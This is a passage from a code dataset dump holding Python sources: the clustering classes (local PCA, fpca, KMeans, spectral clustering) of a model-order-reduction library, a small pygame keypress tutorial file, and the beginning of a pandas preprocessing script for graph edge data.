iterations.\".format(iteration))\n #lpca.plot_residuals(iteration, residuals)\n lpca.write_final_stats(iteration, eps_rec)\n idx = self.merge_clusters(self.X_tilde, idx)\n if self._postKNN == True:\n print(\"Moving observations via kNN..\")\n idx = self.kNNpost(self.X_tilde, idx, self._neighborsNum)\n # Consider only statistical meaningful groups of points: if there are <2 points\n #in a cluster, delete it because it's not statistically meaningful\n idx = self.merge_clusters(self.X_tilde, idx)\n return idx\n\n\nclass fpca(lpca):\n '''\n Supervised partitioning based on an a-priori conditioning (and subsequent dim reduction), by means\n of a selected variable which is known to be important for the process. As it\n is not an iterative algorithm, it allows for a faster clustering in comparison with\n lpca via Vector Quantization, even if the choice of the optimal variable could constitute a\n difficult task for some applications, as it requires prior knowledge on the process, and the choice must\n be assessed case-by-case. For non-premixed, turbulent combustion applications, the\n mixture fraction Z is an optimal variable for the data conditioning, leading to excellent\n results both for data compression and interpretation tasks.\n\n Input:\n X = raw data matrix (observations x variables)\n condVec = the vector to be used in the partitioning phase\n\n '''\n def __init__(self, X, condVec, *dictionary):\n self.X = X\n self.condVec = condVec\n\n super().__init__(X)\n\n self._nPCs = self.X.shape[1]-1\n\n #Decide if the input matrix must be centered:\n self._center = True\n #Set the centering method:\n self._centering = 'mean' #'mean' or 'min' are available\n #Decide if the input matrix must be scaled:\n self._scale = True\n #Set the scaling method:\n self._scaling = 'auto'\n\n if dictionary:\n settings = dictionary[0]\n\n try:\n self._k = settings[\"number_of_clusters\"]\n if not isinstance(self._k, int) or self._k <= 1:\n raise Exception\n except:\n self._k = 2\n warnings.warn(\"An exception occured with regard to the input value for the number of clusters (k). It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: 2.\")\n print(\"\\tYou can ignore this warning if the number of clusters (k) has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n \n try:\n self._nPCs = settings[\"number_of_eigenvectors\"]\n if self._nPCs < 0 or self._nPCs >= self.X.shape[1]:\n raise Exception\n except:\n self._nPCs = int(self.X.shape[1]/2)\n warnings.warn(\"An exception occured with regard to the input value for the number of PCs. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: X.shape[1]-1.\")\n print(\"\\tYou can ignore this warning if the number of PCs has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n try:\n self._center = settings[\"center\"]\n if not isinstance(self._center, bool):\n raise Exception\n except:\n self._center = True\n warnings.warn(\"An exception occured with regard to the input value for the centering decision. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: true.\")\n print(\"\\tYou can ignore this warning if the centering decision has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n try:\n self._centering = settings[\"centering_method\"]\n if not isinstance(self._centering, str):\n raise Exception\n elif self._centering.lower() != \"mean\" and self._centering.lower() != \"min\":\n raise Exception\n except:\n self._centering = \"mean\"\n warnings.warn(\"An exception occured with regard to the input value for the centering criterion . It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: mean.\")\n print(\"\\tYou can ignore this warning if the centering criterion has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n try:\n self._scale = settings[\"scale\"]\n if not isinstance(self._scale, bool):\n raise Exception\n except:\n self._scale = True \n warnings.warn(\"An exception occured with regard to the input value for the scaling decision. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: true.\")\n print(\"\\tYou can ignore this warning if the scaling decision has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n try: \n self._scaling = settings[\"scaling_method\"]\n if not isinstance(self._scaling, str):\n raise Exception\n elif self._scaling.lower() != \"auto\" and self._scaling.lower() != \"vast\" and self._scaling.lower() != \"pareto\" and self._scaling.lower() != \"range\":\n raise Exception\n except:\n self._scaling = \"auto\"\n warnings.warn(\"An exception occured with regard to the input value for the scaling criterion. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: auto.\")\n print(\"\\tYou can ignore this warning if the scaling criterion has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n\n\n def condition(self):\n '''\n This function is used to partition the data matrix 'X' in 'k' different\n bins, depending on the conditioning vector interval.\n '''\n #preprocess the training matrix\n self.X_tilde = self.preprocess_training(self.X, self._center, self._scale, self._centering, self._scaling)\n\n #compute the interval of the conditioning variable\n min_interval = np.min(self.condVec)\n max_interval = np.max(self.condVec)\n\n #depending on the final number of bins, the extension of each bin (delta_step)\n #is computed\n delta_step = (max_interval - min_interval) / self._k\n\n #assign each observation depending on its conditioning variable's value\n counter = 0\n self.idx = np.empty((len(self.condVec),),dtype=int)\n var_left = min_interval\n\n #Find the observations in each bin (find the idx, where the classes are\n #the different bins number)\n while counter <= self._k:\n var_right = var_left + delta_step\n mask = np.logical_and(self.condVec >= var_left, self.condVec < var_right)\n self.idx[np.where(mask)] = counter\n counter += 1\n var_left += delta_step\n\n return self.idx\n\n\n def fit(self):\n '''\n This function performs PCA in each bin, and then it returns the LPCs,\n the local eigenvalues, the local scores and the centroids .\n '''\n\n for ii in range(0, self._k):\n #initialize the lists\n self.centroids = [None] *self._k\n self.LPCs = [None] *self._k\n self.u_scores = [None] *self._k\n self.Leigen = [None] *self._k\n\n for ii in range (0,self._k):\n #compute the cluster\n cluster = get_cluster(self.X_tilde, self.idx, ii)\n #the centroid is computed via function in the module: utility.py\n self.centroids[ii], cluster_ = center(cluster, self._centering, True)\n #solve the eigendecomposition problem for the centered cluster\n self.LPCs[ii], self.Leigen[ii] = PCA_fit(cluster_, self._nPCs)\n self.u_scores[ii] = cluster_ @ self.LPCs[ii]\n\n return self.LPCs, self.u_scores, self.Leigen, self.centroids\n\n\nclass KMeans(lpca):\n '''\n The K-Means clustering is an iterative algorithm to partition a matrix X, composed\n by 'n' observations and 'p' variables, into 'k' groups of similar points (clusters).\n The number of clusters is a-priori defined by the user.\n Initially, the clusters are assigned randomly, then, the algorithm shift the center \n of mass of each cluster by means of the minimization of their squared euclidean \n distances and the observations.\n\n --- PARAMETERS ---\n X: RAW data matrix, uncentered and unscaled. It must be organized\n with the structure: (observations x variables).\n type X : numpy array\n\n dictionary: Dictionary containing all the instruction for the setters\n type dictionary: dictionary\n\n\n\n --- SETTERS --- (inherited from LPCA)\n clusters: number of clusters to be used for the partitioning\n type k: scalar\n\n to_center: Enable the centering function\n type _center: boolean \n \n centering: set the centering method. Available choices for scaling\n are 'mean' or 'min'.\n type _centering: string\n\n to_scale: Enable the scaling function\n type _scale: boolean \n\n scaling: set the scaling method. Available choices for scaling\n are 'auto' or 'vast' or 'range' or 'pareto'.\n type _scaling: string\n\n initMode: to activate in case Kmeans is used to initialize LPCA (has a lower tol for convergence)\n type _method: boolean\n\n '''\n \n def __init__(self,X, *dictionary):\n #Initialize matrix and number of clusters.\n self.X = X\n self._k = 2\n super().__init__(X)\n #This option must be set to 'True' if the kMeans is used only to\n #initialize other clustering algorithms, therefore a lower tolerance\n #is required for convergence.\n self._initMode = False\n #Set hard parameters (private, not meant to be modified).\n self.__convergence = False\n self.__iterMax = 100\n self.__numericTol = 1e-16\n self.__convergeTol = 1E-16\n\n #Decide if the input matrix must be centered:\n self._center = True\n #Set the centering method:\n self._centering = 'mean' #'mean' or 'min' are available\n #Decide if the input matrix must be scaled:\n self._scale = True\n #Set the scaling method:\n self._scaling = 'auto'\n\n if dictionary:\n settings = dictionary[0]\n try:\n self._k = settings[\"number_of_clusters\"]\n if not isinstance(self._k, int) or self._k <= 1:\n raise Exception\n except:\n self._k = 2\n warnings.warn(\"An exception occured with regard to the input value for the number of clusters (k). It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: 2.\")\n print(\"\\tYou can ignore this warning if the number of clusters (k) has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n try:\n self._center = settings[\"center\"]\n if not isinstance(self._center, bool):\n raise Exception\n except:\n self._center = True\n warnings.warn(\"An exception occured with regard to the input value for the centering decision. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: true.\")\n print(\"\\tYou can ignore this warning if the centering decision has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n try:\n self._centering = settings[\"centering_method\"]\n if not isinstance(self._centering, str):\n raise Exception\n elif self._centering.lower() != \"mean\" and self._centering.lower() != \"min\":\n raise Exception\n except:\n self._centering = \"mean\"\n warnings.warn(\"An exception occured with regard to the input value for the centering criterion . It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: mean.\")\n print(\"\\tYou can ignore this warning if the centering criterion has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n try:\n self._scale = settings[\"scale\"]\n if not isinstance(self._scale, bool):\n raise Exception\n except:\n self._scale = True \n warnings.warn(\"An exception occured with regard to the input value for the scaling decision. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: true.\")\n print(\"\\tYou can ignore this warning if the scaling decision has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n try: \n self._scaling = settings[\"scaling_method\"]\n if not isinstance(self._scaling, str):\n raise Exception\n elif self._scaling.lower() != \"auto\" and self._scaling.lower() != \"vast\" and self._scaling.lower() != \"pareto\" and self._scaling.lower() != \"range\":\n raise Exception\n except:\n self._scaling = \"auto\"\n warnings.warn(\"An exception occured with regard to the input value for the scaling criterion. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: auto.\")\n print(\"\\tYou can ignore this warning if the scaling criterion has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n \n\n @property\n def initMode(self):\n return self._initMode\n\n @initMode.setter\n def initMode(self, new_bool):\n self._initMode = new_bool\n\n @staticmethod\n def remove_empty(X, idx):\n '''\n Remove a cluster if it is empty, or not statistically meaningful.\n\n --- PARAMETERS ---\n X: Original data matrix (observations x variables). \n type X : numpy array\n\n idx: vector whose dimensions are (n,) containing the cluster assignment. \n type idx : numpy array\n\n\n --- RETURNS ---\n idx: vector whose dimensions are (n,) containing the cluster assignment, WITHOUT EMPTY CLASSES.\n type idx: numpy array \n '''\n\n k = np.max(idx) +1\n jj = 0\n while jj < k:\n cluster_ = get_cluster(X, idx, jj)\n if cluster_.shape[0] < 2: \n if jj > 0:\n mask = np.where(idx >=jj)\n idx[mask] -= 1\n else:\n mask = np.where(idx >jj)\n idx[mask] -= 1\n print(\"WARNING:\")\n print(\"\\tAn empty cluster was found:\")\n print(\"\\tThe number of cluster was lowered to ensure statistically meaningful results.\")\n print(\"\\tThe current number of clusters is equal to: {}\".format(np.max(idx) +1))\n k = np.max(idx) +1\n jj = 0\n else:\n jj += 1\n\n return idx\n\n\n def fit(self):\n '''\n Group the observations depending on the sum of squared Euclidean distances.\n\n --- RETURNS ---\n idx: vector whose dimensions are (n,) containing the cluster assignment for each observation.\n type idx: numpy array \n '''\n from scipy.spatial.distance import euclidean, cdist\n if not self._initMode:\n print(\"Fitting kmeans model..\")\n self.X = self.preprocess_training(self.X, self._center, self._scale, self._centering, self._scaling)\n else:\n print(\"Initializing clusters via KMeans algorithm..\")\n #pass the centering/scaling if the kMeans is used for the initialization, if\n #explicitely asked.\n #Declare matrix and variables to be used:\n C_mat = np.empty((self._k, self.X.shape[1]), dtype=float)\n C_old = np.empty((self._k, self.X.shape[1]), dtype=float)\n dist = np.empty((self.X.shape[0], self._k), dtype=float)\n idx = np.empty((self.X.shape[0],), dtype=int)\n minDist_ = np.empty((self.X.shape[0],), dtype=float)\n minDist_OLD = 1E15\n iter = 0\n\n #Initialize the centroids using 'k' random observations taken from the\n #dataset.\n for ii in range(0,self._k):\n C_mat[ii,:] = self.X[np.random.randint(0,self.X.shape[0]),:]\n\n #Start with the iterative algorithm:\n while iter < self.__iterMax:\n #Compute the euclidean distances between the matrix and all the\n #centroids. The function cdist returns a matrix 'dist' = (nObs x k)\n dist = cdist(self.X, C_mat)**2\n #For each observation, choose the nearest centroid.\n #The vector idx contains the corresponding class, while the minDist_\n #vector contains the numerical value of the distance, which will\n #be useful later, for the convergence check.\n for ii in range(0, self.X.shape[0]):\n idx[ii] = np.argmin(dist[ii,:])\n minDist_[ii] = np.min(dist[ii,:])\n #Compute the new clusters and the sum of the distances.\n clusters = get_all_clusters(self.X, idx)\n C_old = C_mat\n minDist_sum = np.sum(minDist_)\n #Compute the new centroids, and build the new C_mat matrix.\n for ii in range(0, self._k):\n centroid = get_centroids(clusters[ii])\n C_mat[ii,:] = centroid\n #Check the convergence measuring how much the centroids have changed\n varDist = np.abs((minDist_sum - minDist_OLD) / (minDist_sum + 1E-16))\n minDist_OLD = minDist_sum\n\n #If the variation between the new and the old position is below the\n #convergence tolerance, then stop the iterative algorithm and return\n #the current idx. Otherwise, keep iterating.\n if varDist < self.__convergeTol:\n print(\"The kMeans algorithm has reached convergence.\")\n break\n\n iter += 1\n if not self._initMode:\n print(\"Iteration number: {}\".format(iter))\n print(\"The SSE over all cluster is equal to: {}\".format(minDist_sum))\n print(\"The SSE variance is equal to: {}\".format(varDist))\n \n #Consider only statistical meaningful groups of points: if there\n #are empty cluster, delete them. The algorithm's iterations will\n #be re-initialized each time a cluster is deleted.\n idx = self.remove_empty(self.X, idx)\n check_ = np.max(idx)\n if check_+1 != self._k:\n self._k = max(idx) +1\n C_mat = np.empty((self._k, self.X.shape[1]), dtype=float)\n C_old = np.empty((self._k, self.X.shape[1]), dtype=float)\n dist = np.empty((self.X.shape[0], self._k), dtype=float)\n idx = np.empty((self.X.shape[0],), dtype=int)\n minDist_ = np.empty((self.X.shape[0],), dtype=float)\n minDist_OLD = 1E15\n iter = 0\n for ii in range(0,self._k):\n C_mat[ii,:] = self.X[np.random.randint(0,self.X.shape[0]),:]\n \n\n return idx\n\n\nclass spectralClustering():\n '''\n [1] Von Luxburg, Ulrike. \"A tutorial on spectral clustering.\" Statistics and computing 17.4 (2007): 395-416.\n\n Spectral clustering is an unsupervised algorithm based on the eigenvectors decomposition\n of a graph Laplacian matrix L to partition a (n x p) data-set X in 'k' different groups.\n\n The implemented algorithm is based on the computation of the unnormalized Laplacian, and\n it is based on the following steps:\n\n 0. Preprocessing: The training matrix X is centered and scaled.\n\n 1. Computation of S: a similarity matrix S, whose dimensions are (n x n), is computed from\n the centered/scaled matrix X_tilde, by means of a rb function.\n\n 2. Construction of the Laplacian: the unnormalized laplacian is computed by means of the weight\n matrix and the degree matrix.\n\n 3. Decomposition of the Laplacian: the eigendecomposition of the laplacian matrix is performed,\n and the first 'k' eigenvectors, corresponding to the 'k' smallest eigenvalues, are retained.\n\n 4. Clustering: The matrix obtained @ step number 3 is clustered with KMeans, and a vector with\n the labels for each observations is obtained.\n\n\n\n --- PARAMETERS ---\n X: RAW data matrix, uncentered and unscaled. It must be organized\n with the structure: (observations x variables).\n type X : numpy array\n\n\n \n --- SETTERS ---\n clusters: number of clusters to be used for the partitioning\n type k: scalar\n\n to_center: Enable the centering function\n type _center: boolean \n \n centering: set the centering method. Available choices for scaling\n are 'mean' or 'min'.\n type _centering: string\n\n to_scale: Enable the scaling function\n type _scale: boolean \n\n scaling: set the scaling method. Available choices for scaling\n are 'auto' or 'vast' or 'range' or 'pareto'.\n type _scaling: string\n\n affinity: Which function to use to compute the affinity matrix. RBF is selected\n type _affinity: string\n\n sigma: value of sigma to be used in the affinity matrix computation formula\n type _sigma: float\n\n '''\n def __init__(self,X, *dictionary):\n self.X = X\n self._k = 2\n self._affinity = 'rbf'\n self._sigma = 1.0\n\n self._center = True\n self._centering = 'mean'\n self._scale = True\n self._scaling = 'auto'\n\n self._n_obs = self.X.shape[0]\n\n if dictionary:\n settings = dictionary[0]\n try:\n self._k = settings[\"number_of_clusters\"]\n if not isinstance(self._k, int) or self._k <= 1:\n raise Exception\n except:\n self._k = 2\n warnings.warn(\"An exception occured with regard to the input value for the number of clusters (k). It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: 2.\")\n print(\"\\tYou can ignore this warning if the number of clusters (k) has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n try:\n self._center = settings[\"center\"]\n if not isinstance(self._center, bool):\n raise Exception\n except:\n self._center = True\n warnings.warn(\"An exception occured with regard to the input value for the centering decision. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: true.\")\n print(\"\\tYou can ignore this warning if the centering decision has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n try:\n self._centering = settings[\"centering_method\"]\n if not isinstance(self._centering, str):\n raise Exception\n elif self._centering.lower() != \"mean\" and self._centering.lower() != \"min\":\n raise Exception\n except:\n self._centering = \"mean\"\n warnings.warn(\"An exception occured with regard to the input value for the centering criterion . It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: mean.\")\n print(\"\\tYou can ignore this warning if the centering criterion has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n try:\n self._scale = settings[\"scale\"]\n if not isinstance(self._scale, bool):\n raise Exception\n except:\n self._scale = True \n warnings.warn(\"An exception occured with regard to the input value for the scaling decision. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: true.\")\n print(\"\\tYou can ignore this warning if the scaling decision has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n try: \n self._scaling = settings[\"scaling_method\"]\n if not isinstance(self._scaling, str):\n raise Exception\n elif self._scaling.lower() != \"auto\" and self._scaling.lower() != \"vast\" and self._scaling.lower() != \"pareto\" and self._scaling.lower() != \"range\":\n raise Exception\n except:\n self._scaling = \"auto\"\n warnings.warn(\"An exception occured with regard to the input value for the scaling criterion. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: auto.\")\n print(\"\\tYou can ignore this warning if the scaling criterion has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n try:\n self._sigma = settings[\"sigma\"]\n if not isinstance(self._sigma, float) and not isinstance(self._sigma, int):\n raise Exception\n elif self._sigma < 0:\n raise Exception\n except:\n self._sigma = 1.0\n warnings.warn(\"An exception occured with regard to the input value for sigma. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: 1.0.\")\n print(\"\\tYou can ignore this warning if sigma has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n\n\n @property\n def clusters(self):\n return self._k\n\n @clusters.setter\n def clusters(self, new_number):\n self._k = new_number\n\n if not isinstance(self._k, int) or self._k <= 1:\n self._k = 2\n warnings.warn(\"An exception occured with regard to the input value for the number of clusters (k). It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: 2.\")\n print(\"\\tPlease check the conditions which must be satisfied by the input in the detailed documentation.\")\n\n @property\n def sigma(self):\n return self._sigma\n\n @sigma.setter\n def sigma(self, new_value):\n self._sigma = new_value\n\n if not isinstance(self._sigma, float) and not isinstance(self._sigma, int):\n self._sigma = 1.0\n warnings.warn(\"An exception occured with regard to the input value for sigma. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: 1.0.\")\n print(\"\\tYou can ignore this warning if sigma has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n elif self._sigma < 0:\n self._sigma = 1.0\n warnings.warn(\"An exception occured with regard to the input value for sigma. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: 1.0.\")\n print(\"\\tYou can ignore this warning if sigma has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n\n \n @property\n def to_center(self):\n return self._center\n\n @to_center.setter\n def to_center(self, new_bool):\n self._center = new_bool\n\n if not isinstance(self._center, bool):\n warnings.warn(\"An exception occured with regard to the input value for the centering decision. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: true.\")\n print(\"\\tPlease check the conditions which must be satisfied by the input in the detailed documentation.\")\n\n\n @property\n def centering(self):\n return self._centering\n\n @centering.setter\n def centering(self, new_string):\n self._centering = new_string\n\n if not isinstance(self._centering, str):\n self._centering = \"mean\"\n warnings.warn(\"An exception occured with regard to the input value for the centering criterion . It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: mean.\")\n print(\"\\tPlease check the conditions which must be satisfied by the input in the detailed documentation.\")\n elif self._centering.lower() != \"mean\" and self._centering.lower() != \"min\":\n self._centering = \"mean\"\n warnings.warn(\"An exception occured with regard to the input value for the centering criterion . It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: mean.\")\n print(\"\\tPlease check the conditions which must be satisfied by the input in the detailed documentation.\")\n\n\n @property\n def to_scale(self):\n return self._scale\n\n @to_scale.setter\n def to_scale(self, new_bool):\n self._scale = new_bool\n\n\n @property\n def scaling(self):\n return self._scaling\n\n @scaling.setter\n def scaling(self, new_string):\n self._scaling = new_string\n\n if not isinstance(self._scaling, str):\n self._scaling = \"auto\"\n warnings.warn(\"An exception occured with regard to the input value for the scaling criterion. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: auto.\")\n print(\"\\tYou can ignore this warning if the scaling criterion has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n elif self._scaling.lower() != \"auto\" and self._scaling.lower() != \"vast\" and self._scaling.lower() != \"pareto\" and self._scaling.lower() != \"range\":\n self._scaling = \"auto\"\n warnings.warn(\"An exception occured with regard to the input value for the scaling criterion. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: auto.\")\n print(\"\\tYou can ignore this warning if the scaling criterion has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n\n \n @staticmethod\n def preprocess_training(X, centering_decision, scaling_decision, centering_method, scaling_method):\n\n if centering_decision and scaling_decision:\n mu, X_ = center(X, centering_method, True)\n sigma, X_tilde = scale(X_, scaling_method, True)\n\n elif centering_decision and not scaling_decision:\n mu, X_tilde = center(X, centering_method, True)\n\n elif scaling_decision and not centering_decision:\n sigma, X_tilde = scale(X, scaling_method, True)\n\n\n else:\n X_tilde = X\n \n return X_tilde\n\n\n def fit(self):\n\n '''\n Group the observations with Spectral clustering.\n\n --- RETURNS ---\n idx: vector whose dimensions are (n,) containing the cluster assignment for each observation.\n type idx: numpy array \n \n '''\n \n print(\"Preprocessing training matrix..\")\n self.X_tilde = np.array(self.preprocess_training(self.X, self._center, self._scale, self._centering, self._scaling))\n #initialize the similarity matrix, whose dimensions are (nxn) --> WARNING: IT'S EXPENSIVE FOR LARGE MATRICES \n W = np.zeros([self._n_obs, self._n_obs], dtype=float)\n print(\"Building weighted adjacency matrix..\")\n for ii in range(0, self._n_obs):\n for jj in range(0, self._n_obs):\n W[ii,jj] = np.exp(-LA.norm(self.X_tilde[ii,:]-self.X_tilde[jj,:])**2/(2*self._sigma**2))\n\n D= np.zeros([self._n_obs, self._n_obs],dtype=float)\n print(\"Building degree matrix..\")\n #build the diagonal degree matrix\n for ii in range(0, self._n_obs):\n D[ii,ii] = np.sum(W[ii,:])\n\n #Now build Laplacian matrix and do an eigendecomposition\n L = D-W \n eigval, eigvec = LA.eigh(L)\n\n #Consider only the first 'k' columns of the eigenvector matrix\n #it is ok to consider the firsts and not the lasts because the eigh function orders them\n #in ascending order of magnitude, so the firsts will be the smallest ones,\n # as prescribed by the algorithm. \n eigvec = eigvec[:,:self._k]\n\n #Now perform K-means on it, to partition in 'k' different clusters\n modelK = KMeans(eigvec)\n modelK.to_center = False\n modelK.to_scale = False\n modelK.initMode = False \n modelK.clusters = self._k\n \n index = modelK.fit()\n\n return index\n\n\n def fitApprox(self):\n\n '''\n Group the observations with Spectral clustering, but compute the W matrix by means of\n the Nyström algorithm.\n\n --- RETURNS ---\n idx: vector whose dimensions are (n,) containing the cluster assignment for each observation.\n type idx: numpy array \n \n '''\n \n \n self.X_tilde = self.preprocess_training(self.X, self._center, self._scale, self._centering, self._scaling)\n\n if self.X_tilde.shape[0] > 20000:\n rowsToPick = 100\n else:\n rowsToPick = 50\n\n print(\"Computing the W matrix via Nyström approximation (std Nyström algorithm)..\")\n\n model = model_order_reduction.Kernel_approximation(self.X_tilde, kernelType=\"rbf\", toCenter=False, toScale=False, centerCrit=\"mean\", scalCrit=\"auto\", numToPick=rowsToPick, sigma=self._sigma, rank=50, p=1)\n W = model.Nystrom_standard()\n W = W.real\n\n \n D= np.zeros([self.X_tilde.shape[0], self.X_tilde.shape[0]],dtype=float)\n print(\"Building degree matrix..\")\n #build the diagonal degree matrix\n for ii in range(0, self.X_tilde.shape[0]):\n D[ii,ii] = np.sum(W[ii,:])\n\n \n #Now build Laplacian matrix and do an eigendecomposition\n L = D-W \n\n print(\"Eigendecomposition step..\")\n eigval, eigvec = LA.eigh(L)\n eigvec = eigvec[:,:self._k]\n \n print(\"K-means step\")\n #Now perform K-means on it, to partition in 'k' different clusters\n modelK = KMeans(eigvec)\n modelK.to_center = False\n modelK.to_scale = False\n modelK.initMode = False \n modelK.clusters = self._k\n \n index = modelK.fit()\n\n return index","sub_path":"OpenMORe/clustering.py","file_name":"clustering.py","file_ext":"py","file_size_in_byte":78615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"65425654","text":"# Crash Course Text Project 1 - 4th Iteration:\n\nimport sys\n\nimport pygame\n\n''' Responding to a keypress. When user presses a key it is registered in\n pygame as an event. Each event is picked up in the pygame.event.get()\n method, so we have to append the check_events method.\n''' \n\ndef check_events(ship):\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n \n elif event.type == pygame.KEYDOWN: # Respond when detecting event.\n if event.key == pygame.K_RIGHT:\n \n # If right arrow key was pressed, move the ship:\n \n # Move the ship to the right:\n ship.rect.centerx += 1\n \n ''' Now it only moves to the right one space when we press the\n right arrow key, but is not continuous movement. We need to\n make it continuous movement next.\n '''\n\ndef update_screen(ai_settings, screen, ship):\n \n screen.fill(ai_settings.bg_color)\n ship.blitme()\n pygame.display.flip()","sub_path":"Python_Crash_Course_text/Crash_Course_Text_Projects/04_ver_Project_01/game_functions.py","file_name":"game_functions.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"650961115","text":"import pandas as pd\nimport numpy as np\nimport multiprocessing\nfrom multiprocessing import Pool\nimport warnings\nwarnings.filterwarnings(action='ignore')\nimport datetime\nimport os\n\n\ndef read_raw_data(DIR = '../data/0529'):\n edge_h = pd.read_csv(os.path.join(DIR,'edge_h.csv'))\n edge_w = pd.read_csv(os.path.join(DIR,'edge_w.csv'))\n node = pd.read_csv(os.path.join(DIR,'node.csv'))\n node.columns = [item.split('.')[-1] for item in node.columns]\n edge_h.columns = [item.split('.')[-1] for item in edge_h.columns]\n edge_w.columns = [item.split('.')[-1] for item in edge_w.columns]\n edge_h = edge_h.sort_values(['source_zonecode','dest_zonecode']).reset_index(drop=True)\n edge_w = edge_w.sort_values(['source_zonecode','dest_zonecode']).reset_index(drop=True)\n\n return edge_h,edge_w,node\n\n\ndef parallelize_dataframe(df, func, n_cores=12):\n idx = np.array_split(df[['source_zonecode','dest_zonecode']].drop_duplicates(keep='last').index.values,n_cores)\n start_idx,end_idx = 0,0\n df_split = []\n for item in idx:\n end_idx = item[-1]\n df_split.append(df.iloc[start_idx:end_idx+1])\n start_idx = item[-1]\n pool = Pool(n_cores)\n df = pd.concat(pool.map(func, df_split))\n pool.close()\n pool.join()\n\n return df\n\ndef flatten_hour(tmp=None):\n tmp = pd.merge(pd.Series(index=range(24),name='dest_hour'),\n tmp.set_index('dest_hour',drop=True),\n left_index=True,\n right_index=True,\n how='left')\n select_cols = ['inflow_volume_hour',\n 'inflow_avg_tm_hour',\n 'dest_flow_weight_hour',\n 'src_flow_weight_hour']\n _index = ['{}_{}'.format(col,i) for col in select_cols for i in range(24)]\n _value = []\n for col in select_cols:\n _value = _value + tmp[col].tolist()\n stats = pd.Series(_value,index=_index)\n return stats\n\ndef flatten_week(tmp=None):\n tmp = pd.merge(pd.Series(index=range(1,8),name='dest_week'),\n tmp.set_index('dest_week',drop=True),\n left_index=True,\n right_index=True,\n how='left')\n select_cols = ['inflow_volume_week',\n 'inflow_avg_tm_week',\n 'dest_flow_weight_week',\n 'src_flow_weight_week']\n _index = ['{}_{}'.format(col,i) for col in select_cols for i in range(1,8)]\n _value = []\n for col in select_cols:\n _value = _value + tmp[col].tolist()\n stats = pd.Series(_value,index=_index)\n return stats \n\ndef agg_hour(df):\n return df.groupby(['source_zonecode','dest_zonecode']).apply(flatten_hour)\n\ndef agg_week(df):\n return df.groupby(['source_zonecode','dest_zonecode']).apply(flatten_week)\n\n\ndef write_normalized_edge(DIR,edge_h,edge_w,n_cores=12):\n edge_flatten_h = 